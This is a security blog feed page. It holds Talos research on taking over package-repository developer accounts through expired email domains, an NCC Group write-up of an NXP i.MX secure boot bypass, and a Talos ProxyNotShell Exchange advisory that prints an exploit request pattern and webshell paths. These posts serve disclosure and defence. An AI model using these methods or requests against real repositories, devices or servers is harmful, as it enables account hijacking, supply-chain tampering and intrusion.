There are new articles available, click to refresh the page.
Yesterday — 4 October 2022Vulnerabily Research

Developer account body snatchers pose risks to the software supply chain

4 October 2022 at 12:51

By Jaeson Schultz.
  • Over the past several years, high-profile software supply chain attacks have increased in frequency. These attacks can be difficult to detect and source code repositories became a key focus of this research.
  • Developer account takeovers present a substantial risk to the software supply chain because attackers who successfully compromise a developer account could conceal malicious code in software packages used by others.
  • Talos analyzed several of the major software repositories to assess the level of developer account security, focusing specifically on whether developer accounts could be recovered by re-registering expired domain names and triggering password resets.
  • Many software repositories have already begun taking steps to enhance the security of developer accounts. Talos has identified additional areas where the security of developer accounts could be improved. Talos worked with vulnerable repositories to resolve issues that we found.

Software supply chain attacks, once the exclusive province of sophisticated state-sponsored attackers, have been gaining popularity recently among a broader range of cyber criminals. Attackers everywhere have realized that software supply chain attacks can be very effective, and can result in a large number of compromised victims. Software supply chain attacks more than tripled in 2021 when compared with 2020. Why are software supply chain attacks so effective? Organizations that possess solid cyber defenses may be difficult to attack directly. However, these same organizations are likely vulnerable to a software supply chain attack because they still regularly run/build software obtained from vendors who are trusted.

Rather than attacking an entire software repository itself, or identifying an unpatched vulnerability in a software package, compromising the software supply chain can be as simple as attacking the accounts of the package developers and maintainers. Most software repositories track the identities of their software developers using those developers' email addresses. If a cybercriminal somehow gains access to a developer's email account, the attacker can theoretically generate password reset emails at these software repositories and take over the account belonging to that developer. Once inside, an attacker could then publish malicious updates to the code maintained by that developer, affecting every other piece of software that uses that library from then on.

Cisco Talos examined several frequently used code repositories. We looked specifically at the security afforded to developer accounts, and how difficult it would be for an attacker to take over a developer account. While some repositories had stringent security in place, others did not. Fortunately, worked with the managers of these repositories to resolve the major issues we found.

Risks in the software supply chain

Re-inventing the wheel is typically not a good idea. This holds true for many things, including developing software. Much software written today depends on third-party packages and software libraries to facilitate necessary functionality contained in the program. Utilizing third-party libraries and packages, especially open source, also speeds up development and lowers costs.

Popular software packages have also become attractive targets for attackers. The more popular a software library is, the more external software will be using that library, and thus, the larger the potential attack surface. Compromising a software library can potentially compromise every other piece of software that relies on that software library for its functionality. This is the risk inherent in the software supply chain.

With the exception of language-agnostic repositories like GitHub, most software repositories tend to be language specific. For example, JavaScript authors rely mostly on NPM, Python developers have PyPI, Perl programmers can often be found using packages obtained via CPAN, and so on. Each software repository sets its own rules when it comes to developers' accounts.

Additionally, as many programmers are aware, some programming languages make a better choice for solving certain types of problems. For example, embedded systems drivers are more commonly written in C instead of Perl, while parsing text is more commonly done in Perl or Python, rather than C. This means that the process of writing programs that integrate third-party libraries into the code will also be different for each language. It is difficult to imagine a developer integrating a third-party library into a system-level driver written in C without carefully reviewing the related code and testing it for speed and functionality. However, when developing a feature-rich Perl proof-of-concept application or a web-based JavaScript application, this might not always be the case. A programmer in those instances might conceivably import a package first and ask questions later. This means some software repositories will carry more risk than others when it comes to malware hiding in the source code.


Node Package Manager is a JavaScript software repository and has been the subject of some "independent" security audits recently. There has been a lot of discussion online, especially concerning the security of the developer accounts there, and how easy it is to take over these accounts by re-registering expired email domains.

There are more than 2 million packages in the NPM repository. Conveniently, an NPM package called "all-the-package-names" contains a list of all packages in the NPM repository. Each individual package at NPM has associated metadata, such as a text description of the package, a link to the package tarball, and a list of the package maintainers. Most importantly, the list of package maintainers has the developer's username and email address.

Iterating through all the package names, and extracting the email addresses, then further extracting the domain names from those email addresses, provides the raw data necessary to find developer accounts associated with expired domains. Once an expired domain is found, it can be re-registered and theoretically used to take over the NPM developer account. But does it work this way in practice?

Although we found a couple thousand expired developer account domain names, we could not recover the associated developer accounts. It appears the "couple things in place to protect against [account takeover]" that NPM administrator @MylesBorins mentioned in his tweet above are working as planned.

Stale metadata helps foil attackers

NPM provides developers with the ability to update the email address associated with their accounts. When a developer decides to switch email addresses, only the future package/version's metadata will contain the new email address. NPM does not retroactively update old metadata associated with a package that was previously published. This means that, even though someone looking to take over an NPM developer account might find package metadata indicating a developer with an expired email domain, it could simply be that the developer has updated their NPM account to a new email address.

This was the case in May 2022, when a security researcher claimed to have taken over the NPM package "foreach" by re-registering the email domain belonging to the NPM developer. Unbeknownst to the security researcher, the developer in question had actually updated their NPM account to use their Gmail address instead. So if any password recovery attempts were made, they would have failed — NPM would have generated and sent the password reset emails to the new Gmail account on file, which is still under the original developer's control.


PyPI is the Python Package Index and currently contains almost 400,000 projects. Developers at PyPI have email addresses associated with their accounts, however, PyPI does not display the email address publicly by default. This is an option that the developer must explicitly choose to enable. Many developers are, of course, eager to interact with others who are running their code, so it is no surprise that large numbers of developers enable this feature.

PyPI accounts do not come with MFA enabled by default, so this is something else a developer would have to choose to enable. However, in July 2020 PyPi announced that it was rolling out mandatory MFA to "critical projects," a.k.a. the top 1% of the projects at PyPi (based on the number of downloads).

A list of all PyPI packages is available online. Many of these packages contain a mailto: link containing an email address. There is also a list of maintainers of the package. For developers that expose their email addresses publicly, it's found on the user's public profile page. It is a relatively simple process to scrape the email addresses associated with PyPI projects. PyPI reveals whether an email address is associated with an account (but it probably should not).

Account takeovers have been a problem at PyPI in the past. As recently as May 14, 2022, an attacker managed to take over a developer account and replaced the "ctx" package, adding malicious code that stole the user's environment variables, base64-encoded them and transmitted the data back to the attacker's C2 server. Fortunately, the changes made by the admins over at PyPI seem to be moving account security in the right direction.


The Comprehensive Perl Archive Network (CPAN) contains more than 200,000 Perl modules. CPAN also provides an index of all the module authors.

The individual module authors each have their own "homepage" that lists their contributed modules. For anyone who wants to reach out to the dev, CPAN includes the author's email address.

A motivated attacker can easily scrape the CPAN website for a list of all author IDs and use those to scrape the email address belonging to the developers. A whois search on the email domain of the developer email addresses provides us with a list of developer accounts that are vulnerable to account takeover. From there, all that is required is standing the domain up somewhere and running a mail server. Triggering a password reset provides us with the magic link to get into the developer's account.

Talos has reached out to the admins at CPAN and provided them with a list of the vulnerable developer accounts we found. CPAN has disabled these accounts.


NuGet is a software repository for .NET developers. The NuGet "gallery" contains more than 317,000 packages. Fortunately, registered developers at NuGet have their email addresses hidden by default. There is an option to allow users to contact you, using a form on the NuGet website that does not disclose the email address of the developer. Developers have the option of adding their Twitter handle, and many developers do. If an attacker wishes to attack NuGet developers en masse, they would have a very difficult time assembling a list of developer email addresses.


RubyGems is a software repository for Ruby developers. There are currently approximately 172,000 gems (packages) in the repository. Developer email addresses are hidden from the public by default. Even unchecking the "Hide email in public profile" check box has no discernable effect, and the email address remains hidden.

Some gems have "maintainers" files to indicate the contact email addresses of the developers, but this is not consistent across gems. Recently, the RubyGems team announced that they are enforcing MFA for top developer accounts.


The software supply chain attack problem is not likely to go away anytime soon. It is unreasonable to ask organizations to vet every piece of software that runs in their environment. Some amount of trust in software vendors and suppliers will always be necessary. However, that doesn't mean that defenders are helpless against these types of attacks.

Organizations should analyze what software is required on various internal systems. Many times, there may be opportunities to segment a group of systems running a particular piece of software from the rest of the internal network. This way, any compromise that occurs as a result of a software supply chain attack will be limited in scope. Obviously, there are limitations to this approach.

All parties in the software supply chain need to take more responsibility for security. For example, it would be far safer for software repositories to stop publishing or releasing any information related to a developer's email address. Yes, this is arguably a bit of security-by-obscurity, but it forces attackers to go elsewhere to correlate the email account of a developer with the particular software package in question, and greatly enhances the security of the repository. If a repository wishes to publish a developer's email address, it could instead give each developer an email address at the domain of the repository itself (ex., @npmjs.com, @cpan.org, etc.).

Forcing MFA on the most popular package maintainers also seems to be a sensible remedy that is currently being pursued by several repositories. However, security is always a delicate balance. If you sacrifice too much usability in the pursuit of security, developers may rebel, as was the case with PyPI developer "untitaker."

One sure-fire countermeasure against developer account takeover via expired domain registration is code signing. This is really the best way to be sure that the code you use has not been tampered with since it was last signed, and is indeed from a developer you trust. An attacker who gets control of a developer's expired domain name would have no way to recover the code signing keys belonging to that developer and no way to impersonate that developer.

Before yesterdayVulnerabily Research

Shining New Light on an Old ROM Vulnerability: Secure Boot Bypass via DCD and CSF Tampering on NXP i.MX Devices

3 October 2022 at 17:56

NXP’s HABv4 API documentation references a now-mitigated defect in ROM-resident High Assurance Boot (HAB) functionality present in devices with HAB version < 4.3.7. I could find no further public documentation on whether this constituted a vulnerability or an otherwise “uninteresting” errata item, so I analyzed it myself!

This post shines new light on this old vulnerability, its exploitation on affected devices, and how it has been mitigated. Upon sharing our results with NXP PSIRT, our analysis was confirmed to be consistent with a vulnerability mitigated in 2017 and the security bulletin provided directly to customers back in 2017 was made publicly accessible (to our knowledge, for the first time).  The more we all collectively can learn about vulnerability patterns, the better – so I’m pleased with the outcome of this effort.

Vague Wording Piques Curiosity

The following excerpt is reproduced from the HABv4 API Reference Manual (dated 2018), included with the Code Signing Tool(Don’t worry, we’ll touch on what HAB and DCD are a bit later.)  Upon first reading this, it was unclear to me as to whether the phrase “incorrect authentication boot flow” was intended to be read synonymously with “a security vulnerability” or instead refer to a functional defect in which devices failed to boot signed code.

The DCD based SoC initialization mechanism should not be used once the boot process exits the ROM. The non-ROM user is required to only use the ‘Authenticate Image no DCD’ function if available, or make sure a null DCD pointer is passed as argument. Starting from HAB 4.3.7, the ‘Run DCD’ function, as well as the ‘Authenticate Image’ function called with a non-null DCD pointer, will return an error if called outside of the boot ROM. Older versions of HAB will run DCD commands if available, this could lead to an incorrect authentication boot flow.

I turned to the upstream U-Boot codebase to seek out any corresponding changes in HAB-related code.  A software mitigation for this issue was submitted to the U-Boot project by NXP and merged in upstream in commit 8c4037a0, prior to the U-Boot 2018.03 release. This commit, which rejects images containing non-NULL DCD pointers, includes the language about the risk of “an incorrect authentication boot flow” and highly recommends that this check be in place.  However, commit ca89df7d effectively reverts this patch (by changing the non-NULL DCD pointer check from an error to a warning) due to its potential to be a “breaking change” for users that have already deployed signed firmware, with the author citing a lack of prior guidance regarding the IVT’s DCD field. As a result, the mitigation was not included in an upstream U-Boot release until 2019.04 (a year later!) where commit b2ca8907 re-introduced the non-NULL DCD requirement.  Again, although references were made to documentation indicating that this check should be included to avoid “an incorrect authentication boot flow”, no discussion of this logic serving to mitigate a security vulnerability, as opposed to a functional defect, appeared to be present.

Neither official documentation nor forum posts seemed to shed light on whether there was truly a vulnerability here, so I decided to dive in further using an i.MX6ULL development kit that ships with U-Boot 2016.11 (i.e. without the upstream fixes).  This particular SoC contains HAB version 4.2 in its ROM, and thus would be affected by the documented issue.

Diving into the i.MX Image Format, DCD, and CSF sections

NXP i.MX 6/7/8M Application Processors (AP) provide High Assurance Boot (HAB) functionality to protect the integrity and authenticity of the first boot loader stage retrieved from non-volatile storage.  ROM-resident code at documented locations export HAB API functions, allowing successive boot stages to leverage ROM-based authentication functionality when extending the hardware-backed root of trust up through OS execution.

The cryptographically signed image format used by HAB-enabled NXP i.MX Application Processors is depicted in the high-level diagram included below. More detailed information can be found in the “Program Image” section of an i.MX AP’s corresponding Reference Manual (for example, Section 8.7 of IMX6ULZRM Rev 0). The details of which sections and fields are covered by a cryptographic signature, as well as when they are processed versus authenticated, is quite nuanced and therefore not summarized in the diagram. Multiple image layout examples can be found in AN4581 (requires login). Additional discussion can be found in the HABv4 RVT Guidelines and Recommendations application note (AN12263 – requires login), processors’ Security Reference Manuals (SRMs), as well as the user guide included with NXP’s Code Signing Tool.

The Device Configuration Data (DCD) image section, along with Command Sequence File (CSF) section, contain higher-level operations (“commands”) executed by the boot ROM to perform device configuration (e.g. DDR controller initialization) and image authentication, respectively.  Although they serve different purposes, the command structure, parsing logic, and function handler dispatch code within the ROM appear to be common to both.

The signature validation of the DCD and CSF sections occurs after (a subset of) their execution. I speculate that this behavior, inconsistent with modern security best practice, was necessary to support customer use-cases (perhaps in earlier chipset generations) in which an image larger than the available OCRAM had to be loaded into DDR memory before authentication could be performed. (A more recent alternative solution uses small U-Boot SPL images that can fit into OCRAM which can  bootstrap a much larger U-Boot “Proper.”)  As such, DCD commands to read, poll, and write to configuration register spaces are executed before there is an opportunity to authenticate them.  Similarly, portions of a CSF responsible for loading certificates and SRK tables are executed before the authentication operations (each their own command in the CSF) can be performed.

When executing the first ROM-resident loader, an allow-list of memory-mapped register ranges is enforced when executing DCD commands. This mechanism restricts memory write accesses to peripheral register regions deemed strictly necessary to support boot-time configuration. The allow-list also includes the “user” portion of OCRAM (i.e., that not used by the ROM) and DDR memory for a second stage loader to be deployed.  The DCD itself is copied to ROM-reserved OCRAM, and therefore is not self-modifiable. The same is true of the CSF, which generally contains an operation to authenticate itself prior the authentication of the rest of the image.

In order to support successive boot stages in extending the hardware-backed root of trust up through the execution of application software, NXP i.MX devices export HABv4 API functions at documented memory locations. For example, the U-Boot bootloader leverages this for its hab_auth_image command implementation, commonly used to authenticate boot-time assets such as a U-Boot Proper (from an SPL), the Linux kernel, one or more Device Tree binaries, or compressed ramdisk images loaded as part of “bootcmd” sequences.  A general secure boot flow is shown below.

However, when using the HAB API from a second-stage loader (e.g., U-Boot), the ROM’s allow-list is insufficient to mitigate risks arising from maliciously modified DCD and CSF image regions; the allow-list permits writes to the very OCRAM and/or DDR regions that the second stage loader is executing from.  As a result, it is possible to tamper with DCD and CSF files in a manner that modifies the currently executing second stage loader to suppress authentication failure handling logic and insert unauthorized code. I regard this as two separate vulnerabilities – one for DCD regions and one for CSF regions – and describe each in more detail in the following sections.

In order to exploit both vulnerabilities, an attacker would require write access to non-volatile (NV) storage (e.g., eMMC, NAND). This could be achieved either through physical access to a platform or through local access with sufficient privilege (e.g., tethered root) to perform the requisite NV storage write operations. 

Vulnerability #1: DCD Execution Permitted Outside of ROM Context in HAB < 4.3.7

Consider a U-Boot SPL or Proper image relying upon the HABv4 API to authenticate a kernel. In this use case, NXP intends for the image DCD pointer to be NULL in the image; at this point in execution, the secondary loader(s) are fully capable of performing any requisite configuration, so the use of DCD to do so would be redundantHowever, if an attacker tampers with an image to insert a DCD, malicious operations executed by the ROM-resident HABv4 API code will take effect before the HABv4 API returns an authentication failure status back to the RAM-resident second stage loaderDuring execution of the malicious DCD, the second stage loader can be patched to ignore an authentication failure or to execute custom code elsewhere. 

For example, an attacker may seek to leverage DCD modifications to patch U-Boot’s authenticate_image function (renamed to imx_hab_authenticate_image in U-Boot >= 2018.03) to always return success. In practice, however, the state of icache can interfere with this approachAs a proof-of-concept, I instead confirmed the vulnerability by patching entries in U-Boot’s command handler table for operations executed following an authentication failure.

The following bootcmd snippet, representative of those observed in fielded products, attempts to authenticate an image, and reboots the device upon encountering an authentication failure. (Note that hab_auth_img originally returned 1 for success; this was changed in later U-Boot versions to be more consistent with 0=success conventions.)

hab_auth_img $img $ivt_off || run boot_img $img; reset

Thus, control can be hijacked either by having the ROM’s DCD parser tamper with a function pointer in U-Boot’s command table or patching the do_reboot() implementation to simply return and fail open into a console.  The former can be used to jump to code deployed elsewhere in memory, while the latter is simpler if an otherwise inaccessible console environment contains permissive operations useful to an attacker.

Below is a Ghidra screenshot depicting the “reset” command table entry within a signed U-Boot image. 

The commented hex dump that follows contains the DCD operation that replaces the do_reset function pointer with the address of custom code included the payload.

Finally, the remainder of the DCD, included below, deploys a simple executable payload that prints a message and returns (i.e. “fails open”) to the U-Boot console.  Thus, when authentication fails and the aforementioned bootcmd string runs the “reset” command, the payload is instead executed.

Execution of the proof-of-concept exploit is shown below:

As mentioned in passing a few times, the mitigation for this vulnerability is to enforce the requirement that the DCD pointer is NULL when the ROM-resident HAB API is called outside of the boot ROM – i.e., from a second- or third-stage loader.  The U-Boot patches created by NXP implement this enforcement by adding logic before the HAB image authentication operation is invoked.  This logic checks an image for its DCD pointer value and fails out with an error if a non-NULL value is observed.  Documentation suggests that newer chipset versions contain an updated ROM-resident HAB library (>= version 4.3.7), which also implements this check. Nonetheless, I would recommend keeping the software-level mitigation in place just as a matter of defense-in-depth; for a modern U-Boot version, the check is already implemented so it’s no work to keep it as-is.

Vulnerability #2: Deprecated CSF Commands Permitted Outside of ROM Context

Although DCD and CSF sections serve fundamentally different purposes, they share a common Type-Length-Value (TLV) command scheme, and unsurprisingly, common parsing and function handler dispatch logic.  Until Code Signing Tool version 2.3.3 (dated 11/14/2017), it appears that the following operations were permitted in the INI-esque source representation of CSF sections:

  • Write Data – Write a specified value to a specified address
    Clear Mask – Variant of the above, clears specified bits
    Set Mask – Variant of the above, sets specified bits
  • Check Data – Test value at a specified address against a specified value mask, optionally polling
  • Set Manufacturing Identifier (MID) – Selects range of fuse locations to use as MID

Of course, in ROMs supporting the above operations within a CSF, it remains possible to manually craft CSF command sequence to execute these operations, despite newer Code Signing Tool refusing to generate these now-deprecated CSF commands when it parses the INI file representation of a CSF.

These commands, most notably “Write Data”, permit a nearly identical authentication bypass methodology as the one previously described.  However, instead of inserting a DCD into a signed image, an attacker can modify the CSF to include the “Write Data” command.  My strategy for a proof of concept was to append the binary payload to an image and patch the do_reset function pointer in the second-stage loader. Again, by the time control returns back to the second-stage loader, the OCRAM or DDR-resident bootloader code that would be responsible for handling an authentication failure will already have been modified by the maliciously crafted CSF.

Note that within the same U-Boot patch set noted earlier, NXP introduced a software-based mitigation that scans a CSF for the above deprecated operations and rejects an image if the deprecated operations are found.  This patch is available in U-Boot commit 20fa1dd3, which was included in the U-Boot 2018.03 release.  Due to time limitations, I have not confirmed that the “deprecated” CSF commands are now rejected by HAB >= 4.3.7. As such, I would again recommend keeping the software-level mitigation in place.

Additional Information from NXP PSIRT

I was certain that exploitable vulnerabilities were associated with this known issue, but still did not know whether NXP and its customers had treated this as a high impact boot-time security risk.  Out of an abundance of caution, I reached out to NXP PSIRT with a draft technical advisory, per the “Vendor Communication” timeline in the following section.

From my correspondence with NXP PSIRT, I learned that this had indeed been treated as a security risk back in 2017, with affected customers being sent a security bulletin.  Upon our request for access to this bulletin, NXP made this document public. It can now be found here (provided that one first creates an account on the NXP web site and agrees to the site EULA).


In general, the NXP support channel can be used to assist customers in acquiring any necessary security collateral.

As indicated by PSIRT and the security bulletin, NXP had created patches in its U-Boot forks for customers using their board support package (BSP) releases. These patches were included in the L4.9.88_2.0.0-ga release onward.  Below are links to the patches in NXP’s U-Boot fork.

For customers using earlier BSP releases, backported Yocto patches were also made available:

No CVEs or other vulnerability identifiers have been allocated by NXP for these issues.

Vendor Communication

2022-08-18 – Draft advisory submitted to NXP PSIRT per coordinated disclosure process.
2022-08-18 – NXP PSIRT acknowledges receipt of advisory.
2022-08-23 – NXP PSIRT indicates these issues were identified and fixed in GA releases in 2017, providing links to publicly accessible patches. NXP also indicates a security bulletin was released and that customers were notified at the time the issue was identified.
2022-08-24 - NCC Group requests security bulletin and vulnerability identifiers. NCC Group indicates intent to publish blog post covering both technical details and dissemination of mitigations into software ecosystems.
2022-08-26 – NXP PSIRT posts public version of security bulletin, provides this link to NCC Group, and answers NCC Group’s vulnerability identifier questions.
2022-08-29 – NCC Group acknowledges access to newly created public version of bulletin, inquires if NCC Group blog post can now be posted.
2022-09-02 – NXP PSIRT indicates that NCC Group may create a public document and requests to review a copy prior to publication.
2022-09-21 – NCC Group sends NXP PSIRT a blog post draft.
2022-09-30 - NXP PSIRT returns blog post feedback and minor correction.

Conclusion and an Open Question

By studying this older security vulnerability, we’ve had an opportunity to think about interesting circumstances that can arise when one boot stage leverages functionality provided by a prior boot stage. In particular, when ROM-resident code is shared between boot stages, it is important to bear in mind which boot stage the device is currently operating in.  Based upon this context, the domain of accessible assets, permissible operations, and memory-mapped accesses may need to be further restricted.

However, one open question continues to linger in my mind:  How many fielded devices are affected by this vulnerability and lack mitigations?  I doubt I’ll ever find an answer but speculate that there are at least few products out there.  (Hopefully if there are, they’ll pass by one of our desks during a security audit so we can check for it and recommend a fix.)

This question is not intended to cast doubt on NXP’s customer communication, but rather comes to mind due to the sheer complexity of embedded system supply chains.  If we assume that every affected customer acknowledged receipt of the 2017 security bulletin, there are quite a few other communication channels that can break down.  For example, a vendor selling their branded product may have purchased COTS modules to integrate into their product, adding only their own application software.  They are not necessarily NXP customers, and therefore would be relying on one or more OEMs to supply updates for vulnerability mitigations.  Even within organizations, it can be a challenge for information to propagate effectively from one engineering team to another. All this is to say, we frequently encounter unpatched systems with clients being unaware of vulnerabilities, and communication breakdowns can be just one of many reasons. I wouldn’t be surprised if you could point me to a device lacking mitigations for a 5-year-old vulnerability.


Thank you to Jeremy Boone, Jennifer Fernick, and Rob Wood for their always-appreciated, invaluable guidance and support.  Gratitude is also extended to NXP PSIRT for their support and responsiveness.

Researcher Spotlight: Globetrotting with Yuri Kramarz

3 October 2022 at 14:00

From the World Cup in Qatar to robotics manufacturing in east Asia, this incident responder combines experience from multiple arenas 

By Jon Munshaw. 

Yuri “Jerzy” Kramarz helped secure everything from the businesses supporting the upcoming World Cup in Qatar to the Black Hat security conference and critical national infrastructure. 

He’s no stranger to cybersecurity on the big stage, but he still enjoys working with companies and organizations of all sizes in all parts of the world. 

“What really excites me is making companies more secure,” he said in a recent interview. “That comes down to a couple things, but it’s really about putting a few solutions together at first and then hearing the customer’s feedback and building from there.” 

Yuri is a senior incident response consultant with Cisco Talos Incident Response (CTIR) currently based in Qatar. He walks customers through various exercises, incident response plan creation, recovery in the event of a cyber attack and much more under the suite of offerings CTIR has. Since moving from the UK to Qatar, he is mainly focused on preparing various local entities in Qatar for the World Cup slated to begin in November. Qatar estimates more than 1.7 million people will visit the country for the international soccer tournament, averaging 500,000 per day at various stadiums and event venues. For reference, the World Bank estimates that 2.9 million people currently live in Qatar.

This means the businesses and networks in the country will face more traffic than ever and will no doubt draw the attention of bad actors looking to make a statement or make money off ransomware attacks. 

“You have completely different angles in preparing different customers for defense during major global events depending on their role, technology and function,” Kramarz said.  

In every major event, there were different devices, systems and networks interconnected to provide visitors and fans with various hospitality facilities that could be targeted in a cyber attack. Any country participating in the event needs to make sure they understand the risks associated with it and consider various adversary activities that might play out to secure these facilities. 

Kramarz has worked in several different geographic areas in his roughly 12-year security career, including Asia, the Middle East, Europe and the U.S. He has experience leading red team engagements (simulating attacks against targets to find potential security weaknesses) in traditional IT and ICS/OT environments, vulnerability research and blue team defense. The incident response field has been the perfect place for him to put all these skills to use. 

He joined Portcullis Security in 2011 as a security consultant and eventually moved throughout Cisco after it acquired Portcullis in 2015. As a red teamer, he had to develop exploits and think about the potential paper trail those exploits would leave behind — after all, it was his job to show where current security structures had failed. 

“Every time I would try to design a payload, I’d have to forensically understand what fingerprints are left on the system,” he said. “So effectively I had to do incident response for a decade before I joined CTIR.” 

That breadth of experience also helps because CTIR is platform-agnostic. He often must access and leverage other companies’ technology and software, such as during the Black Hat conference earlier this year when he was part of a Cisco team that set up and defended the on-site network in Las Vegas

“We had to check all the different technology stacks to make sure we could stop adversaries before they became a problem,” he said. “From there, we moved to use those technologies to detect what’s happening in real-time … and then we used [Cisco] SecureX to unify some of the response capability. By default, you pretty much must learn about every piece of technology that’s out there to provide an effective incident response as we can’t wait days or weeks to deploy something during an emergency.” 

Yuri is used to working in different time zones at different hours of the day, too. His favorite incident response to an engagement call came around midnight one night when he was on call — a large conglomerate was under attack and the adversaries deployed ransomware. He was part of the CTIR team who immediately responded to identify and eradicate the ransomware attack. CTIR eventually successfully brought systems back online.  

“And from there, we built a great relationship with the customer that’s been ongoing since then,” he said. 

Yuri enjoys golfing in his free time.
Although incident response can lead to these kinds of late nights, Yuri said he’s thankful that Cisco Talos offers him the flexibility to work different hours and take time off when he needs it. Golf is his current outlet for relaxation, and it gives him something mutual to talk to people about regardless of what country they’re in. While not out on the green he likes to contribute to several open-source projects

Since coming into the incident response field, he’s had to flex his interpersonal skills more than ever because CTIR places such an emphasis on making IR a team sport. 

“The way I try to carry myself is to be happy and to look at my reflection every morning and say, ‘I’m doing the best I can for my customer,’” Kramarz said. “If I put my signature on a report, I want to make sure I’m proud of it.” 

Once the World Cup wraps up, Yuri said he will carry on focusing on securing critical infrastructure and operational technology. It’s a unique challenge, he said, because a lot of the technology can be more than 20 or 30 years old, and each customer is going to need a unique solution to their problems.  

“One time during an incident in a different country, we had to look at physical manuals in binders from a decade before to figure out how the affected device actually worked and how someone could hack it, as only several of the devices had ever even been produced,” he said. “We know how to acquire evidence on the standard operating systems out there such as Unix or Windows, and we have the tools of the trade to help us with that. We often don’t get that in ICS/OT environment, so innovation is a key in this field.” 

If your organization would like to work with Yuri or one of his fellow CTIR team members, you can reach out to them here. Talos Incident Response offers a range of proactive services for security teams, including hands-on tabletop exercises, a state-of-the-art cyber range for training and much more.   

Next Windows Internals Training

1 October 2022 at 03:04

I’m happy to open registration for the next 5 day Windows Internals training to be conducted in November in the following dates and from 11am to 7pm, Eastern Standard Time (EST) (8am to 4pm PST): 21, 22, 28, 29, 30.

The syllabus can be found here (some modifications possible, but the general outline should remain).

Training cost is 900 USD if paid by an individual, or 1800 USD if paid by a company. Participants in any of my previous training classes get 10% off.

If you’d like to register, please send me an email to [email protected] with “Windows Internals training” in the title, provide your full name, company (if any), preferred contact email, and your time zone.

The sessions will be recorded, so you can watch any part you may be missing, or that may be somewhat overwhelming in “real time”.

As usual, if you have any questions, feel free to send me an email, or DM on twitter (@zodiacon) or Linkedin (https://www.linkedin.com/in/pavely/).



Threat Advisory: Microsoft warns of actively exploited vulnerabilities in Exchange Server

30 September 2022 at 21:16

Cisco Talos has released new coverage to detect and prevent the exploitation of two recently disclosed vulnerabilities collectively referred to as "ProxyNotShell," affecting Microsoft Exchange Servers 2013, 2016 and 2019. One of these vulnerabilities could allow an attacker to execute remote code on the targeted server. Limited exploitation of these vulnerabilities in the wild has been reported. CVE-2022-41040 is a Server Side Request Forgery (SSRF) vulnerability, while CVE-2022-41082 enables Remote Code Execution (RCE) when PowerShell is accessible to the attackers.

While no fixes or patches are available yet, Microsoft has provided mitigations for on-premises Microsoft Exchange users on Sept. 29, 2022. Even organizations that use Exchange Online may still be affected if they run a hybrid server. Cisco Talos is closely monitoring the recent reports of exploitation attempts against these vulnerabilities and strongly recommends users implement mitigation steps while waiting for security patches for these vulnerabilities. Exchange vulnerabilities have become increasingly popular with threat actors, as they can provide initial access to network environments and are often used to facilitate more effective phishing and malspam campaigns. The Hafnium threat actor exploited several zero-day vulnerabilities in Exchange Server in 2021 to deliver ransomware, and Cisco Talos Incident Response reported that the exploitation of Exchange Server issues was one of the four attacks they saw most often last year.

Vulnerability details and ongoing exploitation

Exploit requests for these vulnerabilities look similar to previously discovered ProxyShell exploitation attempts:

autodiscover/[email protected]/<Exchange-backend-endpoint>&Email=autodiscover/autodiscover.json%[email protected]

Successful exploitation of the vulnerabilities observed in the wild leads to preliminary information-gathering operations and the persistence of WebShells for continued access to compromised servers. Open-source reporting indicates that webShells such as Antsword, a popular Chinese language-based open-source webshell, SharPyShell an ASP.NET-based webshell and China Chopper have been deployed on compromised systems consisting of the following artifacts:

  • C:\inetpub\wwwroot\aspnet_client\Xml.ashx
  • C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\errorEE.aspx
  • C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\pxh4HG1v.ashx
  • C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\RedirSuiteServiceProxy.aspx

This activity is consistent with what is typically observed when attackers begin leveraging vulnerabilities in unpatched or vulnerable systems exposed to the internet.

Initial reporting observed the download and deployment of additional malicious artifacts and implants on the infected systems using certutil, however these TTPs may change as more threat actors start exploiting the vulnerabilities followed by their own set of post-exploitation activities.


Ways our customers can detect and block this threat are listed below.

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

Cisco Talos is releasing SID 60642 to protect against CVE-2022-41040.

In addition we are releasing SIDs 60637-60641 to protect against malicious activity observed during exploitation of CVE-2022-41082.

The existing SIDs 27966-27968, 28323, 37245, and 42834-42838 provide additional protection for the malicious activity observed during exploitation of CVE-2022-41082.

The following ClamAV signatures have been released to detect malware artifacts related to this threat:

  • Asp.Backdoor.AntSword-9972727-1
  • Asp.Backdoor.Awen-9972728-0
  • Asp.Backdoor.AntSword-9972729-0


IPs and URLs


Threat Roundup for September 23 to September 30

30 September 2022 at 20:46

Today, Talos is publishing a glimpse into the most prevalent threats we've observed between Sept. 23 and Sept. 30. As with previous roundups, this post isn't meant to be an in-depth analysis. Instead, this post will summarize the threats we've observed by highlighting key behavioral characteristics, indicators of compromise, and discussing how our customers are automatically protected from these threats.

As a reminder, the information provided for the following threats in this post is non-exhaustive and current as of the date of publication. Additionally, please keep in mind that IOC searching is only one part of threat hunting. Spotting a single IOC does not necessarily indicate maliciousness. Detection and coverage for the following threats is subject to updates, pending additional threat or vulnerability analysis. For the most current information, please refer to your Firepower Management Center, Snort.org, or ClamAV.net.

